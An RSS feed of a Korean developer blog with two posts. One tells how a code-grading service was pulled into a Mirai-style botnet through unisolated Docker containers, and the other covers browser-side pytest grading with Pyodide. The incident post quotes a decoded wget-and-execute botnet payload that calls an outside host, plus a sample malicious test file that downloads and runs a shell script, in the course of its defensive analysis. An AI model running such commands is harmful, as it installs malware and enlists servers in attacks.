<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>QA-Labs Arena</title>
        <link>https://velog.io/</link>
        <description>AI 시대의 테스트 설계. 숨은 버그 탐지율로 실력을 증명합니다.</description>
        <lastBuildDate>Fri, 23 Jan 2026 00:01:17 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>QA-Labs Arena</title>
            <url>https://velog.velcdn.com/images/ai_qa_patrick/profile/eecd55af-9d54-49f7-b595-74838c5e674d/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. QA-Labs Arena. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/ai_qa_patrick" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[(운영사건) AWS Trust & Safety 메일이 왔다: 봇넷 감염부터 Docker 보안까지]]></title>
            <link>https://velog.io/@ai_qa_patrick/%EC%9A%B4%EC%98%81%EC%82%AC%EA%B1%B4-AWS-Trust-Safety-%EB%A9%94%EC%9D%BC%EC%9D%B4-%EC%99%94%EB%8B%A4-%EB%B4%87%EB%84%B7-%EA%B0%90%EC%97%BC%EB%B6%80%ED%84%B0-Docker-%EB%B3%B4%EC%95%88%EA%B9%8C%EC%A7%80</link>
            <guid>https://velog.io/@ai_qa_patrick/%EC%9A%B4%EC%98%81%EC%82%AC%EA%B1%B4-AWS-Trust-Safety-%EB%A9%94%EC%9D%BC%EC%9D%B4-%EC%99%94%EB%8B%A4-%EB%B4%87%EB%84%B7-%EA%B0%90%EC%97%BC%EB%B6%80%ED%84%B0-Docker-%EB%B3%B4%EC%95%88%EA%B9%8C%EC%A7%80</guid>
            <pubDate>Fri, 23 Jan 2026 00:01:17 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📢 <strong>오픈 베타 테스트 참여 안내</strong>
이 프로젝트는 현재 오픈 베타 중입니다.
&quot;내 테스트 코드는 몇 점일까?&quot; 궁금하신 분들은 아래 링크에서 체험해보세요!
👉 <a href="https://qa-arena.qalabs.kr/?utm_source=velog&amp;utm_medium=post&amp;utm_campaign=aws_abuse">QA Arena 바로가기</a></p>
</blockquote>
<hr>
<p><strong>&quot;Your AWS resource has been implicated in activity which resembles attempts to access remote hosts on the internet without authorization.&quot;</strong></p>
<p>12월 19일 금요일 점심시간, 메일함에 뜬 제목을 보고 심장이 멎는 줄 알았습니다.</p>
<p><strong>AWS Trust &amp; Safety Team</strong></p>
<p>이 발신자명을 보는 순간, 뭔가 심각하게 잘못됐다는 걸 직감했죠.</p>
<blockquote>
<p>&quot;내 서버가... 해킹당했다고?&quot;</p>
</blockquote>
<p>오늘은 <strong>AWS Abuse Report를 두 번이나 받고</strong>, 결국 Docker 보안의 중요성을 뼈저리게 깨달은 이야기를 공유합니다.(저 같은 실수를 하지 않으시길 바라며... 😭)</p>
<hr>
<h2 id="🚨-1-그-메일이-왔다-악몽의-시작">🚨 1. 그 메일이 왔다: 악몽의 시작</h2>
<h3 id="d-day-2025년-12월-19일-금요일">D-Day: 2025년 12월 19일 금요일</h3>
<p>평화로운 점심시간, 알림이 울렸습니다.</p>
<pre><code>From: trustandsafety@support.aws.com
Subject: Your AWS Abuse Report [15090894223]

We&#39;ve received a report(s) that your AWS resource(s)
EC2 Instance Id: i-02-------------
has been implicated in activity which resembles attempts
to access remote hosts on the internet without authorization.</code></pre><p><strong>&quot;unauthorized activity&quot;</strong>... 눈을 의심했습니다. &quot;스팸인가? 오인가?&quot; 하고 자세히 로그를 읽어보니 상황은 심각했습니다.</p>
<pre><code class="language-json">{
  &quot;payload_class&quot;: &quot;exploit:iot/cve_2017_18368&quot;,
  &quot;destination_ip&quot;: &quot;95.40.24.249&quot;,
  &quot;destination_port&quot;: 8080,
  &quot;source_ip&quot;: &quot;3.38.xxx.xxx&quot;  // 👈 이게 내 EC2 IP입니다...
}</code></pre>
<p><strong>제 서버가 IoT 취약점 exploit 공격을 &#39;수행&#39;하고 있었습니다.</strong> 😱 피해자가 아니라 <strong>가해자</strong>가 된 상황이었죠.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/6527990a-f1c3-4ad6-b289-94dc07554938/image.png" alt=""></p>
<h3 id="2시간-30분-후-상황-악화">2시간 30분 후: 상황 악화</h3>
<p>식은땀을 흘리며 로그를 뒤지던 중, 두 번째 메일이 도착합니다.</p>
<pre><code>From: trustandsafety@support.aws.com
Subject: Your AWS Abuse Report [15550257889]

...have been implicated in activity that indicates that
it may be infected with malware and may be part of a botnet.

Average Gbits/sec sent: 0.1889</code></pre><p><strong>봇넷(Botnet)</strong>. 제 작고 소중한 서버가 <strong>DDoS 공격 좀비 PC</strong>로 동원되고 있었습니다. 초당 0.19Gbps의 트래픽을 어딘가로 쏘고 있었죠.</p>
<h3 id="공격-패턴-분석">공격 패턴 분석</h3>
<p>AWS가 첨부해 준 로그를 분석해보니 전형적인** Mirai 봇넷 변종** 패턴이었습니다.</p>
<table>
<thead>
<tr>
<th>시간</th>
<th>공격 유형</th>
<th>대상 포트</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td>03:46</td>
<td>IoT Exploit (CVE-2017-18368)</td>
<td>8080</td>
<td>Zyxel 라우터 취약점</td>
</tr>
<tr>
<td>03:46~03:48</td>
<td>DNS Amplification</td>
<td>53 (UDP)</td>
<td>DDoS 증폭 공격</td>
</tr>
<tr>
<td>다음날 00:18</td>
<td>IoT Exploit (CVE-2017-17215)</td>
<td>37215</td>
<td>Huawei 라우터 취약점</td>
</tr>
</tbody></table>
<p>페이로드를 디코딩해보니 더 가관이었습니다.</p>
<pre><code class="language-bash">/bin/busybox wget http://thepenguins.xyz/zyxel.sh;
chmod +x zyxel.sh;
./zyxel.sh</code></pre>
<p><strong>Mirai 봇넷 변종</strong>의 전형적인 패턴이었습니다.</p>
<p>악성 스크립트를 다운받아 실행하고, 또 다른 숙주를 찾아 떠나는 전형적인 웜(Worm) 방식이었습니다.</p>
<hr>
<h2 id="💀-2-첫-번째-대응-일단-끄자">💀 2. 첫 번째 대응: &quot;일단 끄자&quot;</h2>
<h3 id="second-notification-최후통첩">SECOND NOTIFICATION: 최후통첩</h3>
<p>당황해서 우왕좌왕하던 사이, 4일 뒤 AWS로부터 무시무시한 메일이 옵니다.</p>
<pre><code>** SECOND NOTIFICATION **

We have not received a response regarding the abuse report.
Failure to respond could lead to possible mitigation
against the implicated resources.

In order to resolve this report please reply to this email
within 24 hours.</code></pre><p><strong>&quot;24시간 내 답변 안 하면 리소스 제재(Mitigation) 들어갑니다.&quot;</strong></p>
<p>서비스가 중단될 위기였습니다. 일단 급한 불부터 끄기로 했습니다.</p>
<h3 id="긴급-조치">긴급 조치</h3>
<h4 id="1-감염된-인스턴스-즉시-종료">1. 감염된 인스턴스 즉시 종료</h4>
<pre><code class="language-bash"># 1. 감염된 인스턴스 즉시 중지
aws ec2 stop-instances --instance-ids i-02--------</code></pre>
<h4 id="2-새-인스턴스로-이사">2. 새 인스턴스로 이사</h4>
<pre><code class="language-bash"># 2. 새 인스턴스 생성 및 서비스 마이그레이션
# (i-05--------로 이전)

# 3. AWS에 회신</code></pre>
<p>깨끗한 OS에서 다시 시작하자. (라고 믿었습니다.)</p>
<h4 id="3-aws에-회신">3. AWS에 회신</h4>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/ca4707a9-ec2f-44b6-ad37-8687edfda91c/image.png" alt=""></p>
<p>&quot;인스턴스 격리했고, 보안 그룹 재설정했습니다. 봐주세요.&quot;</p>
<h3 id="조사-과정">조사 과정</h3>
<p>CloudTrail을 뒤져봤습니다:</p>
<pre><code>2025-12-18T16:21:32Z: AuthorizeSecurityGroupIngress
  – allowed TCP/8080 from 223.38.51.200/32 (내 IP)

2025-12-18T16:44:14Z: RevokeSecurityGroupIngress
  – revoked the same rule</code></pre><p>인바운드는 내 IP에서만 잠깐 열었다가 닫았는데...</p>
<p><strong>문제는 아웃바운드였습니다.</strong></p>
<p>CloudTrail을 뒤져보니 인바운드 규칙은 철저히 관리하고 있었는데, 문제는 <strong>아웃바운드(Outbound)</strong>였습니다. 기본 Security Group은 아웃바운드가 <strong>All Traffic 허용(0.0.0.0/0)</strong> 이거든요. 들어오는 건 막았는데, 안에서 나가는 건 프리패스였던 겁니다.</p>
<h3 id="12월-31일-케이스-종결">12월 31일: 케이스 종결</h3>
<p>상세한 조사 결과를 보내고 나서:</p>
<pre><code>From: trustandsafety@support.aws.com

Thank you for your attention to this abuse notification.
We see that all necessary actions have been taken to
address this abuse report.</code></pre><p><strong>휴, 일단 해결.</strong> 😮‍💨</p>
<p><strong>...하지만 이건 폭풍 전야였습니다.</strong></p>
<hr>
<h2 id="😱-3-두-번째-공격-왜-또">😱 3. 두 번째 공격: &quot;왜 또?!&quot;</h2>
<h3 id="2026년-1월-13일-새벽-2시">2026년 1월 13일 새벽 2시</h3>
<p>새해를 맞아 기분 좋게 서비스를 운영하던 중, 또 다시 메일이 왔습니다.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/dd4e8b25-c7a0-4c39-98b8-d4b2cd527bcd/image.png" alt=""></p>
<p><strong>새 인스턴스도 감염됐습니다.</strong> 진짜 멘붕이 왔습니다.</p>
<ul>
<li>✅ 새로 만든 인스턴스인데?</li>
<li>✅ SSH 포트도 닫고 SSM으로만 접근했는데?</li>
<li>✅ Security Group도 빡빡하게 잡았는데?</li>
</ul>
<p><strong>대체 어디로 들어온 거지?</strong></p>
<hr>
<h2 id="🔍-4-진짜-원인을-찾다-범인은-내-코드-안에-있다">🔍 4. 진짜 원인을 찾다: 범인은 내 코드 안에 있다</h2>
<h3 id="잠깐-우리-서비스가-뭐-하는-거지">&quot;잠깐, 우리 서비스가 뭐 하는 거지?&quot;</h3>
<p>제가 개발 중인 <strong>QA Arena</strong>는 <strong>사용자가 제출한 테스트 코드를 실행</strong>하는 서비스입니다.</p>
<pre><code>User Submit Code → Server Run → Result</code></pre><p>즉, <strong>&quot;신뢰할 수 없는 코드 실행(Untrusted Code Execution)&quot;</strong> 이 서비스의 핵심 기능입니다. 여기서 머리를 한 대 맞은 것 같았습니다.</p>
<p><strong>Docker 설정을 까보자</strong>
사용자 코드를 실행하는 Docker 컨테이너 설정을 확인해봤습니다.</p>
<blockquote>
<p><strong>Untrusted code execution.</strong></p>
</blockquote>
<p>여기서 번뜩였습니다.</p>
<h3 id="docker-설정-확인">Docker 설정 확인</h3>
<p>채점용 Docker 컨테이너 설정을 확인해봤더니:</p>
<pre><code class="language-python"># docker_service.py (문제의 코드)
container = docker_client.containers.run(
    image=&quot;python:3.11-slim&quot;,
    command=f&quot;pytest {test_file}&quot;,
    # 😱 network_mode 설정이 없음!!
)</code></pre>
<p><strong><code>network_mode</code> 설정이 없었습니다.</strong></p>
<p>Docker의 기본 네트워크 모드는 _bridge_입니다. 별도 설정이 없으면 컨테이너 내부에서 <strong>인터넷(외부망)</strong> 연결이 가능합니다.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/20b4e1ed-24ce-43f2-9c73-5fcff48cf728/image.png" alt=""></p>
<h3 id="공격-시나리오-재구성">공격 시나리오 재구성</h3>
<p>범인은 외부 해커가 침투한 게 아니라, <strong>&quot;테스트 코드인 척&quot; 들어온 악성 코드</strong>였습니다.</p>
<ol>
<li>공격자가 악성 코드가 포함된 Python 파일을 제출.</li>
<li>서버는 순진하게 Docker 컨테이너를 띄워서 실행.</li>
<li>컨테이너는 인터넷이 되니까<code>(Network Mode: Bridge)</code>, C&amp;C 서버에서 악성 쉘 스크립트를 다운로드.</li>
<li>내 서버가 봇넷의 일원이 됨.</li>
</ol>
<p>사용자가 제출한 코드 안에 이런 게 숨어있었을 수 있어요:</p>
<pre><code class="language-python"># 😈 공격자가 제출했을 법한 코드
import subprocess

# &quot;테스트 통과시켜주세요~&quot; 하면서 백그라운드에서 봇 다운로드
subprocess.run([&quot;wget&quot;, &quot;http://malicious.site/bot.sh&quot;, &quot;-O&quot;, &quot;/tmp/bot.sh&quot;])
subprocess.run([&quot;bash&quot;, &quot;/tmp/bot.sh&quot;])

def test_fake():
    assert True</code></pre>
<hr>
<h2 id="🛡️-5-진짜-해결책-철벽-방어">🛡️ 5. 진짜 해결책: 철벽 방어</h2>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/31194adf-d14e-4129-a28d-1f9239d52488/image.png" alt=""></p>
<p>인스턴스를 바꾸는 건 미봉책일 뿐, <strong>아키텍처 레벨의 격리</strong>가 필요했습니다.</p>
<h3 id="docker-네트워크-완전-차단-핵심-⭐">Docker 네트워크 완전 차단 (핵심 ⭐)</h3>
<pre><code class="language-python"># ✅ 수정 후 코드
container = docker_client.containers.run(
    image=&quot;python:3.11-slim&quot;,
    command=f&quot;pytest {test_file}&quot;,
    network_mode=&quot;none&quot;,  # 👈 네트워크를 물리적으로 끊어버림!
)</code></pre>
<p><code>network_mode=&quot;none&quot;</code>을 주면 컨테이너는 오직 로컬(Loopback)만 볼 수 있습니다. <code>wget</code>, <code>curl</code>, <code>pip install</code> 아무것도 안 됩니다.</p>
<h3 id="2-security-group-아웃바운드-화이트리스트">2. Security Group 아웃바운드 화이트리스트</h3>
<pre><code>Before:
- Outbound: All Traffic → 0.0.0.0/0  ❌

After:
- Outbound: HTTPS (443) → 0.0.0.0/0  ✅
- (나머지 전부 차단)</code></pre><ul>
<li><strong>Before</strong>: Outbound All Traffic (0.0.0.0/0) ❌</li>
<li><strong>After</strong>: Outbound HTTPS(443) Only ✅<ul>
<li>OS 업데이트나 필수 API 호출 외에는 싹 다 막았습니다.</li>
</ul>
</li>
</ul>
<h3 id="3-코드-레벨-방어-python-import-hook">3. 코드 레벨 방어 (Python Import Hook)</h3>
<pre><code class="language-python"># conftest.py (pytest 실행 시 자동 로드)
import sys

BLOCKED_MODULES = [&#39;subprocess&#39;, &#39;os.system&#39;, &#39;socket&#39;, &#39;urllib&#39;, &#39;requests&#39;]

class ImportBlocker:
    def find_module(self, name, path=None):
        if any(blocked in name for blocked in BLOCKED_MODULES):
            raise ImportError(f&quot;🚫 보안상 {name} 모듈은 사용할 수 없습니다.&quot;)
        return None

sys.meta_path.insert(0, ImportBlocker())</code></pre>
<h3 id="aws-최종-회신">AWS 최종 회신</h3>
<p>원인을 정확히 파악했다는 것을 어필하며 AWS에 최종 메일을 보냈습니다.</p>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/aed4e449-c83d-454a-bb58-d3fd312b0c41/image.png" alt=""></p>
<blockquote>
<p>&quot;원인은 Docker 컨테이너의 네트워크 격리 미흡이었습니다. network_mode=&#39;none&#39;을 적용하여 물리적으로 외부 통신을 차단했고, 아웃바운드 규칙도 강화했습니다.&quot;</p>
</blockquote>
<p>결과는? 깔끔하게 해결되었습니다. 🎉</p>
<hr>
<h2 id="📊-6-타임라인-요약">📊 6. 타임라인 요약</h2>
<pre><code>[1차 사건: 2025년 12월]
12/19 12:47 ─ 첫 Abuse Report (IoT exploit)
      15:23 ─ 두 번째 Report (봇넷 감염, DDoS)
12/20 09:18 ─ 세 번째 Report (Huawei exploit)
12/23 18:26 ─ SECOND NOTIFICATION (24시간 최후통첩)
      19:34 ─ 첫 회신 + 인스턴스 마이그레이션
12/31 22:22 ─ 상세 조사 결과 회신
01/02 00:19 ─ AWS 케이스 종결 ✅

[2차 사건: 2026년 1월]
01/13 02:07 ─ 새 인스턴스도 감염! (봇넷 C&amp;C 통신)
01/14 17:04 ─ 원인 발견: Docker 네트워크 미격리
             ─ network_mode=&quot;none&quot; 패치 적용
             ─ AWS 최종 회신</code></pre><hr>
<h2 id="💡7-교훈-및-체크리스트">💡7. 교훈 및 체크리스트</h2>
<p>이번 사건으로 얻은 교훈을 정리해봅니다. 혹시라도 <strong>&quot;사용자 코드를 실행하는 기능&quot;</strong>을 구현하신다면 꼭 체크해보세요.</p>
<p>✅ Untrusted Code 실행 환경 체크리스트
💥 <strong>네트워크 격리</strong>: Docker network_mode=&quot;none&quot;은 선택이 아닌 필수.
💥 <strong>아웃바운드 제한</strong>: Security Group에서 Outbound도 All Open 금지.
💥 <strong>시스템 콜 제한</strong>: 가능하다면 gVisor나 Firecracker 같은 샌드박스 기술 검토.
💥 <strong>리소스 제한</strong>: CPU/Memory 제한(--cpus, --memory)으로 무한 루프 방지.
💥 <strong>모니터링</strong>: CloudTrail과 GuardDuty 알림 켜두기.---</p>
<hr>
<h2 id="💬-9-마치며">💬 9. 마치며</h2>
<p><strong>&quot;내 서버가 봇넷에 편입됐다&quot;</strong></p>
<p>남의 일인 줄만 알았던 일이 저에게 벌어졌습니다. 특히 &quot;새 인스턴스로 이사 갔는데도 또 뚫린&quot; 경험은 정말 아찔했습니다. 문제는 &#39;서버&#39;가 아니라 <strong>&#39;구조(Architecture)&#39;</strong> 에 있었으니까요.</p>
<p><code>network_mode=&quot;none&quot;</code> 한 줄이 AWS Abuse Report를 막아줍니다.</p>
<p>저의 이 삽질(?) 기록이 누군가에게는 도움이 되길 바랍니다. 긴 글 읽어주셔서 감사합니다!</p>
<h2 id="📌-다음-화-예고">📌 다음 화 예고</h2>
<p>📌 <strong>다음 화 예고</strong></p>
<p><strong>Ep 6. 문제 자동 생성의 현실: 양은 AI가, 품질은 프로세스가</strong></p>
<blockquote>
<p>&quot;GPT한테 코딩 테스트 문제 만들어달라고 했더니... 절반이 풀 수 없는 문제였습니다.&quot; 🤯</p>
</blockquote>
<p>LLM으로 코딩 테스트 문제를 자동 생성하려던 시도, 그리고 &quot;AI가 만든 문제&quot;의 품질을 보장하기 위해 만든 검증 파이프라인(Self-Correction)을 공유합니다.</p>
<p>(발행 예정)</p>
<hr>
<p>👉 <strong>직접 체험해보기</strong>: <a href="https://qa-arena.qalabs.kr/?utm_source=velog&amp;utm_medium=post&amp;utm_campaign=aws_abuse">QA Arena에서 안전하게 테스트 코드 실행하기</a></p>
<hr>
<p><strong>[Project Info]</strong></p>
<ul>
<li>Service: <a href="https://qa-arena.qalabs.kr">https://qa-arena.qalabs.kr</a></li>
<li>Status: Open Beta (Non-profit Project)</li>
<li>Developer: Ryu Junghyun (QA Engineer)</li>
<li>Feedback: <a href="https://forms.gle/mk5zYKMTMq4PGRQz7">의견 보내기 (Google Form)</a></li>
</ul>
<hr>
<h2 id="📚-참고-자료">📚 참고 자료</h2>
<ul>
<li><a href="https://aws.amazon.com/premiumsupport/knowledge-center/aws-abuse-report/">AWS Abuse Report 대응 가이드</a></li>
<li><a href="https://docs.docker.com/network/">Docker Network Modes</a></li>
<li><a href="https://en.wikipedia.org/wiki/Mirai_(malware)">Mirai Botnet - Wikipedia</a></li>
<li><a href="https://docs.aws.amazon.com/security/">AWS Security Best Practices</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[AWS 비용 최적화의 정석: '실행'은 브라우저에서, '채점'은 서버에서 (Hybrid 아키텍처)]]></title>
            <link>https://velog.io/@ai_qa_patrick/AWS-%EB%B9%84%EC%9A%A9-%EC%B5%9C%EC%A0%81%ED%99%94%EC%9D%98-%EC%A0%95%EC%84%9D-%EC%8B%A4%ED%96%89%EC%9D%80-%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80%EC%97%90%EC%84%9C-%EC%B1%84%EC%A0%90%EC%9D%80-%EC%84%9C%EB%B2%84%EC%97%90%EC%84%9C-Hybrid-%EC%95%84%ED%82%A4%ED%85%8D%EC%B2%98</link>
            <guid>https://velog.io/@ai_qa_patrick/AWS-%EB%B9%84%EC%9A%A9-%EC%B5%9C%EC%A0%81%ED%99%94%EC%9D%98-%EC%A0%95%EC%84%9D-%EC%8B%A4%ED%96%89%EC%9D%80-%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80%EC%97%90%EC%84%9C-%EC%B1%84%EC%A0%90%EC%9D%80-%EC%84%9C%EB%B2%84%EC%97%90%EC%84%9C-Hybrid-%EC%95%84%ED%82%A4%ED%85%8D%EC%B2%98</guid>
            <pubDate>Mon, 19 Jan 2026 23:28:40 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📢 <strong>오픈 베타 테스트 참여 안내</strong>
&quot;하이브리드 채점 시스템이 궁금하다면?&quot;
👉 <a href="https://qa-arena.qalabs.kr/">QA Arena 바로가기</a></p>
</blockquote>
<hr>
<h1 id="서버비를-아끼고-싶지만-보안과-ai-기능은-포기-못-해">&quot;서버비를 아끼고 싶지만, 보안과 AI 기능은 포기 못 해!&quot;</h1>
<p><a href="https://velog.io/@ai_qa_patrick/%ED%9A%8C%EA%B3%A0-AI-%EB%AF%BF%EA%B3%A0-Git-%EB%A7%A1%EA%B2%BC%EB%8B%A4%EA%B0%80-%EC%83%9D%EA%B8%B4-%EC%9D%BC-%EC%9D%98%EC%A1%B4%EC%9D%98-%ED%95%A8%EC%A0%95%EA%B3%BC-%ED%83%88%EC%B6%9C-%EC%A0%84%EB%9E%B5">지난 편</a>에서 Git 삽질기를 공유했는데요, 이제 <strong>💸 비용(Cost)</strong> 과 <strong>품질(Quality)</strong> 사이의 딜레마가 찾아왔습니다.</p>
<p>보통 코딩 테스트 플랫폼은 두 가지 선택지 중 하나를 고릅니다.</p>
<ol>
<li><strong>Server-side 채점</strong>: 안전하고 AI 연동도 쉽지만, <strong>비싸고 느리다.</strong> (EC2 CPU 활활 🔥)</li>
<li><strong>Client-side 채점</strong>: 빠르고 공짜지만, <strong>조작이 쉽고 기능이 제한적이다.</strong></li>
</ol>
<p>처음 서버 환경 구성할 때에는 아무것도 모르고 무료 환경을 설정하였죠 t3.micro. 하지만 Server-side 채점 방식을 구현하고 Docker 빌드를 했더니 Instance를 날려먹었습니다. ㅠㅠ </p>
<p>조금 더 비용이 드는 환경(t2.medium)을 세팅해두고도 마찬가지였습니다. 또 한 번 Instance를 날렸죠. 아주 비싼 서버를 사용해야 할 수밖에 없는 상태였습니다.</p>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/c4aa6fa4-fd22-4536-8f84-60d7a332551c/image.gif" alt=""></p>
<p>비용을 절감하고, 서버 부담도 줄이고, 속도는 높이면서 AI 활용도는 최대로 올릴 방법은 없을까? </p>
<p>오늘은 <strong>Pyodide</strong>와 <strong>EC2</strong>를 조합한 하이브리드 채점 아키텍처로, 비용은 최소화하면서 안정성과 AI 기능까지 챙긴 이야기를 공유합니다.</p>
<hr>
<h2 id="🐢-1-왜-하이브리드인가-problem--solution">🐢 1. 왜 하이브리드인가? (Problem &amp; Solution)</h2>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/5b78f82b-3d82-475c-a7f7-5a9d3d5e28db/image.png" alt=""></p>
<h3 id="기존의-문제-무거움-vs-가벼움">기존의 문제: 무거움 vs 가벼움</h3>
<p>처음엔 100% 서버 채점을 생각했습니다. 하지만 사용자가 100명만 몰려도 <code>pytest</code> 실행 부하 때문에 서버가 뻗을 게 뻔했습니다. 그렇다고 100% 브라우저 채점으로 가자니, 사용자가 결과를 조작해서 보내거나(Security), LLM을 이용한 정교한 피드백(AI)을 주기 어려웠죠.</p>
<h3 id="해결책-역할-분담-split-responsibility">해결책: 역할 분담 (Split Responsibility)</h3>
<p>그래서 역할을 철저하게 나눴습니다.</p>
<table>
<thead>
<tr>
<th>역할</th>
<th>담당</th>
<th>사용 기술</th>
<th>비고</th>
</tr>
</thead>
<tbody><tr>
<td>근육 (Execution)</td>
<td>Client (Browser)</td>
<td>Pyodide (WebAssembly)</td>
<td>CPU 집약적 작업. 돈이 듦.</td>
</tr>
<tr>
<td>두뇌 (Grading)</td>
<td>Server (EC2)</td>
<td>Python / AI Agent</td>
<td>보안 검증, 결과 분석, AI 피드백 생성.</td>
</tr>
</tbody></table>
<p><strong>&quot;무거운 건 네가 들고, 판단은 내가 할게.&quot;</strong> 이 구조 덕분에 서버는 단순히 채점 결과(텍스트)만 받아서 분석하면 되므로, <strong><code>t3.micro</code> 같은 저사양 서버로도 트래픽을 감당</strong>할 수 있게 되었습니다.</p>
<hr>
<h2 id="🚀-구세주의-등장-pyodide-">🚀 구세주의 등장: Pyodide !</h2>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/d6f59625-7957-49e0-93cf-f7dbc39a4c4c/image.png" alt=""></p>
<p>이 문제를 해결하기 위해 도입한 것이 바로 <strong>Pyodide</strong>입니다. 이름이 생소하시죠? 쉽게 설명해 드릴게요.</p>
<h3 id="pyodide가-뭔가요">Pyodide가 뭔가요?</h3>
<blockquote>
<p>Pyodide = Python + Iodide (WebAssembly) &quot;브라우저 안에 작은 파이썬 가상 머신을 심는 것</p>
</blockquote>
<p>보통 파이썬은 컴퓨터에 설치해야 돌아가잖아요? 하지만 Pyodide는 파이썬 인터프리터를 <strong>WebAssembly(WASM)</strong>로 컴파일해서, 크롬이나 사파리 같은 브라우저에서 파이썬 코드가 직접 돌아가게 만듭니다.</p>
<p>자바스크립트로 파이썬 흉내를 낸 게 아닙니다. 진짜 CPython이 브라우저 위에서 돌아가는 겁니다. NumPy, Pandas, 그리고 제가 가장 필요했던 pytest까지 전부 지원합니다!</p>
<pre><code class="language-javascript">// 브라우저에서 Python 실행
const pyodide = await loadPyodide();
pyodide.runPython(`
    import pytest
    # pytest 실행 가능!
`);</code></pre>
<h3 id="이게-왜-대박인가요">이게 왜 대박인가요?</h3>
<p>이 기술을 도입하면 아키텍처가 이렇게 변합니다.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/5e842b81-a133-4582-8d57-be0a3638773f/image.png" alt=""></p>
<p><strong>서버가 담당해야 할 일이 크게 줄었습니다!.</strong> 
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/31541675-8989-47f2-ac33-c091506e11d9/image.webp" alt=""></p>
<hr>
<h2 id="🛠️-3-어떻게-구현했나-기술-찍먹">🛠️ 3. 어떻게 구현했나? (기술 찍먹)</h2>
<p>&quot;브라우저에서 파이썬이 돌아가면, 화면 멈추는 거 아냐?&quot; 맞습니다. 그래서 <strong>Web Worker</strong>가 필수입니다.</p>
<h3 id="핵심-구조-main-thread-vs-web-worker">핵심 구조: Main Thread vs Web Worker</h3>
<p>UI가 버벅거리지 않도록, 채점 로직은 별도의 스레드(Web Worker)로 분리했습니다.</p>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/8a448dcd-5c8c-48ee-a062-b436d12ae5a4/image.png" alt=""></p>
<pre><code class="language-js">// frontend/worker.js (대략적인 의사 코드)

// 1. Pyodide 불러오기 (CDN)
importScripts(&quot;https://cdn.jsdelivr.net/pyodide/v0.29.0/full/pyodide.js&quot;);

async function init() {
  // 2. 파이썬 로딩
  self.pyodide = await loadPyodide();

  // 3. micropip으로 pytest 설치 (이게 됨!)
  await self.pyodide.loadPackage(&quot;micropip&quot;);
  const micropip = self.pyodide.pyimport(&quot;micropip&quot;);
  await micropip.install(&quot;pytest&quot;);
}

// 4. 채점 요청이 오면 실행
self.onmessage = async (event) =&gt; {
  const { userCode } = event.data;

  // 파이썬 코드 실행
  self.pyodide.runPython(`
    with open(&quot;submission.py&quot;, &quot;w&quot;) as f:
        f.write(&#39;&#39;&#39;${userCode}&#39;&#39;&#39;)
  `);

  // pytest 실행
  const result = self.pyodide.runPython(&quot;import pytest; pytest.main([&#39;submission.py&#39;])&quot;);

  postMessage(result); // 결과 반환
};</code></pre>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/d81dbc9d-3c85-4b69-96cb-5f0f3a8ef0f4/image.png" alt=""></p>
<ol>
<li><p><strong>Code Execution (Browser) ⚡️</strong></p>
<ul>
<li>사용자가 &quot;채점하기&quot;를 누르면 <strong>Pyodide(브라우저 내 파이썬)</strong>가 깨어납니다.</li>
<li>pytest를 로컬에서 직접 실행합니다. 이때 CPU 부하는 전적으로 사용자 PC가 부담합니다.</li>
<li>결과로 나오는 <strong>Raw Log (실행 로그)</strong>를 캡처합니다.</li>
</ul>
</li>
<li><p><strong>Transmission (Secure API)</strong> 📡</p>
<ul>
<li>브라우저는 &quot;내가 몇 점이야&quot;라고 보내지 않습니다. (조작 가능성 때문)</li>
<li>대신 <strong>&quot;실행했더니 이런 로그가 나왔어&quot;</strong> 라고 실행 결과 데이터 자체를 서버로 전송합니다.</li>
</ul>
</li>
<li><p><strong>Validation &amp; AI Feedback (Server)</strong> 🧠</p>
<ul>
<li><strong>검증</strong>: 서버는 로그를 파싱해서 실제 테스트 통과 여부를 재확인합니다.</li>
<li><strong>AI 분석</strong>: 실패한 케이스가 있다면, 서버에 연결된 LLM이 로그를 분석해 &quot;<strong>엣지 케이스 처리가 부족하네요</strong>&quot; 같은 피드백을 생성합니다.</li>
<li>최종 결과를 DB에 저장하고 사용자에게 반환합니다.</li>
</ul>
</li>
</ol>
<p>이렇게 하면 사용자는 <strong>제출 버튼을 누르자마자 (네트워크 통신 없이)</strong> 0.5초 만에 채점 결과를 받아볼 수 있습니다.</p>
<h3 id="📸-35-백문이-불여일견-실제-속도를-보세요">📸 3.5. 백문이 불여일견: 실제 속도를 보세요</h3>
<h4 id="①-실행은-브라우저에서-빠르고-가볍게-⚡️">① 실행은 브라우저에서 빠르고 가볍게 ⚡️</h4>
<p>먼저 코드를 작성하고 실행했을 때의 화면입니다. 
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/14fdf5b4-c71f-4403-9c75-529f67467b41/image.png" alt=""></p>
<p>⏱️ 771ms 서버 큐(Queue)에서 기다릴 필요 없이, 내 컴퓨터 성능만큼 빠르게 실행됩니다. 하지만 하단의 <strong>&quot;AI 분석 결과&quot;</strong> 는 서버가 안전하게 생성해서 내려준 것입니다.</p>
